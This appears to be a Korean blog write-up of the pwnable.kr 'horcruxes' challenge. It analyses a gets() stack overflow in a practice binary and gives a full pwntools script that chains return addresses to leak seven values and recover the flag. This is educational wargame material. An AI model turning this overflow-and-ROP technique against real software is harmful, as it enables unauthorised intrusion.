cgy12306

[pwnable.kr] horcruxes 본문

Wargame/pwnable.kr

[pwnable.kr] horcruxes

cgy12306 2020. 2. 2. 20:28

[horcruxes]


readme 파일을 읽어보자.

9032 포트에 붙어서 실행하라고 한다.

7개의 호크룩스를 찾아서 파괴하라고 한다.

메뉴를 선택하고 얼마나 많은 경험치를 얻었냐고 한다.

아무런 힌트가 없어서 직접 gdb로 분석하다가 이번 cykor 세미나 때 이 문제는 scp 명령어로 바이너리 다운받아서 풀어야 한다고 한다.

scp -P 포트번호 ID@주소:바이너리경로 로컬경로

이런식으로 입력해주면 다운로드가 된다.

아이다로 열어보자.

메인 함수의 부분이다.

init_ABCDEFG() 함수로 들어가보자.

랜덤한 값을 읽어와서 특정한 연산을 한 후 a, b, c, d, e, f, g에 저장을 한다. 그리고 다 더한 값을 sum에 저장한다.

빠져나와서 ropme 함수 부분을 보자.

int ropme()
{
  char s[100]; // [esp+4h] [ebp-74h]
  int v2; // [esp+68h] [ebp-10h]
  int fd; // [esp+6Ch] [ebp-Ch]

  printf("Select Menu:");
  __isoc99_scanf("%d", &v2);
  getchar();
  if ( v2 == a )
  {
    A();
  }
  else if ( v2 == b )
  {
    B();
  }
  else if ( v2 == c )
  {
    C();
  }
  else if ( v2 == d )
  {
    D();
  }
  else if ( v2 == e )
  {
    E();
  }
  else if ( v2 == f )
  {
    F();
  }
  else if ( v2 == g )
  {
    G();
  }
  else
  {
    printf("How many EXP did you earned? : ");
    gets(s);
    if ( atoi(s) == sum )
    {
      fd = open("flag", 0);
      s[read(fd, s, 0x64u)] = 0;
      puts(s);
      close(fd);
      exit(0);
    }
    puts("You'd better get more experience to kill Voldemort");
  }
  return 0;
}

메뉴를 선택해야 하는데 이 값은 a, b, c, d, e, f, g와 비교해서 해당 함수를 호출한다.

A 함수에서 a 값을 출력해준다. 이렇게 G 함수까지 계속 나와있다.

잘못된 값을 선택할 경우 gets로 문자열을 입력받게 되는데 여기서 buffer overflow가 발생한다.

s는 처음에 100byte 선언 되어 있지만 gets 함수는 길이를 체크하지 않기 때문에 100byte를 넘은 길이를 입력할 수 있게 된다.

ebp와 s까지의 오프셋은 0x74만큼 떨어져 있다.

ebp까지 합하면 ret까지의 거리는 0x78만큼 떨어져있다. A를 120byte 입력하면 ret을 덮을 수 있다.

그렇게 A함수, B함수 ... G함수까지 호출해서 값을 출력할 수 있다.

하지만 우리는 모든 함수를 출력했을 뿐 플래그를 얻지 못했으니 다시 ropme 함수를 호출해서 값을 입력해야한다.

내가 입력한 값과 sum 값이 같으면 플래그를 출력해준다.

페이로드를 작성하면 다음과 같다.

from pwn import *

r = remote('pwnable.kr', 9032)

context.log_level = 'debug'

A = 0x0809FE4B
B = 0x0809FE6A
C = 0x0809FE89
D = 0x0809FEA8
E = 0x0809FEC7
F = 0x0809FEE6
G = 0x0809FF05
ropme = 0x0809FFFC
exp = 0

r.recvuntil('Select Menu:')
r.sendline('1')

r.recvuntil('How many EXP did you earned? : ')

payload  = 'A' * 120 
payload += p32(A)
payload += p32(B)
payload += p32(C)
payload += p32(D)
payload += p32(E)
payload += p32(F)
payload += p32(G)
payload += p32(ropme)

r.sendline(payload)

for i in range(0, 7):
    r.recvuntil('EXP +')
    exp += int(r.recvuntil(')')[:-1])

print exp
r.recvuntil('Select Menu:')
r.sendline('1')
r.recvuntil('How many EXP did you earned? : ')
r.sendline(str(exp))
print r.recv()

'Wargame > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] uaf  (0) 2020.02.02
[pwnable.kr] memcpy  (0) 2020.01.27
[pwnable.kr] blukat  (0) 2020.01.27
[pwnable.kr] unlink  (0) 2020.01.27
[pwnable.kr] asm  (0) 2020.01.27
Comments